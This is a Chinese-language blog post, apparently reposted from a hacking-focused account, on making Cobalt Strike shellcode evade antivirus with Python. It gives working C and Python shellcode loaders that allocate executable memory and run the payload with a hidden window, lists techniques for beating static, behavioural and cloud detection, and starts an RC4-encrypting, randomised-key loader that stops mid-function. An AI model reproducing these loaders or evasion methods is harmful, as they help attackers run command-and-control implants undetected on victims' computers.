搜文章
推荐 原创 视频 Java开发 iOS开发 前端开发 JavaScript开发 Android开发 PHP开发 数据库 开发工具 Python开发 Kotlin开发 Ruby开发 .NET开发 服务器运维 开放平台 架构师 大数据 云计算 人工智能 开发语言 其它开发
Lambda在线 > HACK学习呀 > 免杀 | 利用Python免杀CS Shellcode

免杀 | 利用Python免杀CS Shellcode

HACK学习呀 2020-02-14

0x01 前言

2019年,告别了coder的世界,告别了从前的生活。我决定暂时抛开金钱至上的价值体系,以一个Fucking loser的身份去寻找人生中的三大哲学问题,我是谁,我在哪儿,我在做什么。褪去了互联网行业的尔虞我诈,轻浮缥缈。在这个铺天盖地的泛娱乐时代,我决定去看看大海,去感受下海水的味道,没错,它确实是咸的。当沙滩上的沙子铺满全身的那一刻,我,拥有了几分钟童年。在途中,偶遇了黄河,没错,它确实很黄,并且波涛汹涌。也在这途中,缘分使我进入了曾经告别的安全行业。

0x02 概述

1、什么是shellcode

在维基百科中这样解释道:在黑客攻击中,shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell,所以有些人认为shellcode的名称是不够严谨的。然而,试图取代这一术语的努力并没有得到广泛的接受。shellcode通常是用机器码编写的。

翻译成人话就是:shellcode是一段机器码,用于执行某些动作。

2、什么是机器码

翻译成人话就是:直接指挥计算机的机器指令码。

人们用助记符号代替机器指令码从而形成了汇编语言,后来为了使计算机用户编程序更容易,发展出了各种高级计算机语言。但是,无论是汇编语言还是其他各种面向过程异或面向对象的高级语言所写的代码最终都要被相关的翻译编译环境转换成相应的机器指令码,计算机才能运行该段代码,因为计算机只认识机器指令码。

3、什么是shellcode loader

人话:shellcode loader 是用于加载和运行shellcode的代码。

C/C++ 加载方式


#include "pch.h"#include <windows.h>#include <stdio.h>#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......";
void main(){ LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (Memory == NULL) { return; } memcpy(Memory, shellcode, sizeof(shellcode)); ((void(*)())Memory)();}


Python 加载方式


#!/usr/bin/pythonimport ctypes
shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......")
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))


当然,shellcode loader的编写方式很多,汇编,go,csharp以及其他很多语言,这里不在一一举例,接下来我们进入利用python语言编写 shellcode loader 以达到静态动态都绕过杀软的目的。

0x03 为什么使用python

python语言入门门槛低,上手快,且两三年前就出现了这种免杀方式,但是很多人说网上公开的代码已经不免杀了。事实真的如此吗?你有没有静下心来code过,是否去了解过相关的原理,是否通过学习到的原理去思维发散过,是否通过code去fuzz过?如果没有,你的Cobaltstrike和Metasploit只适合躺在那儿意淫,怪我咯。废话不多说,进入正题。

0x04 环境准备

1、python-2.7.17.amd64

2、pywin32-227.win-amd64-py2.7

3、PyInstaller3.0

免杀 | 利用Python免杀CS Shellcode

4、简要说明:

这一套环境搭配是我经过不断的实验和个人喜好总结出来的,安装方式不在累述,如果你连这点学习能力都没有话,你还是让Cobaltstrike和Metasploit躺在那儿意淫吧。个人建议:第一:不要使用pip方式安装PyInstaller,至于为什么,你多尝试几次就知道各种兼容环境是有多麻烦了。第二:如果你本机还安装了python3的环境,如果你怕麻烦,你可以单独在虚拟机里面安装这个环境,因为python3和python2共存,你还得倒腾一会儿,里面的坑还有 pip2 pip3得区分开等等。愿意倒腾的推荐下面几篇文章用作参考

https://blog.csdn.net/zydz/article/details/78121936https://blog.csdn.net/C_chuxin/article/details/82962797https://blog.csdn.net/qq_34444097/article/details/103027906


0x05 免杀原理

1、:shellcode字符串 不做硬编码(人话:shellcode字符串不写死在代码里面)

2、:shellcode字符串 多种编码方式混淆

3、:shellcode字符串 加密

4、:添加无危害的代码执行流程扰乱av分析(早些年的花指令免杀思维)

5、:CobaltStrike生成的shellcode是一段下载者,主要功能是下载becon.dll,然后加载进内存,很多功能都在bencon里面,所以说cs的shellcode其实不具备多少危险动作的,但是它为什么会被杀毒软件查杀呢,那是因为杀毒软件利用一些算法例如模糊哈希算法(Fuzzy Hashing)提取出来了特征码。

6:CobaltStrike自身是用的管道进行进程通信。

目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。

根据我fuzz得出的结论:动态行为查杀真的不好过么?答案是否定的:CobaltStrike的管道通信模式加上将花指令免杀思维运用在高级语言层面上一样有效,人话就是在shellcode loader的代码层面加一些正常的代码,让exe本身拥有正常的动作,扰乱av的判断,当然这个的前提是因为我们站在了CobaltStrike的管道通信模式的优势上。静态查杀好过么?答案是:好过,shellcode不落地+CobaltStrike本身的管道通信模式+shellcode字符串各种组合的编码+加密。云查杀的特点约等于特征查杀,好过。

总结:本文所阐述的粗略且浅显的免杀方法都是站在CobaltStrike强大的肩膀上实现的。

0x06 show you the code


from ctypes import *import ctypesimport sys, os, hashlib, time, base64import random, stringimport requestsimport time
# 获取随机字符串函数,减少特征def GenPassword(length): numOfNum = random.randint(1,length-1) numOfLetter = length - numOfNum slcNum = [random.choice(string.digits) for i in range(numOfNum)] slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)] slcChar = slcNum + slcLetter random.shuffle(slcChar) getPwd = ''.join([i for i in slcChar]) return getPwd
# rc4加解密函数,public_key(公钥)使用GenPassword函数,减少特征def rc4(string, op='encode', public_key=GenPassword(7), expirytime=0): ckey_lenth = 4 public_key = public_key and public_key or '' key = hashlib.md5(public_key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or '' cryptkey = keya + hashlib.md5(keya + keyc).hexdigest() key_lenth = len(cryptkey) # 64 string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string string_lenth = len(string) result = '' box = list(range(256))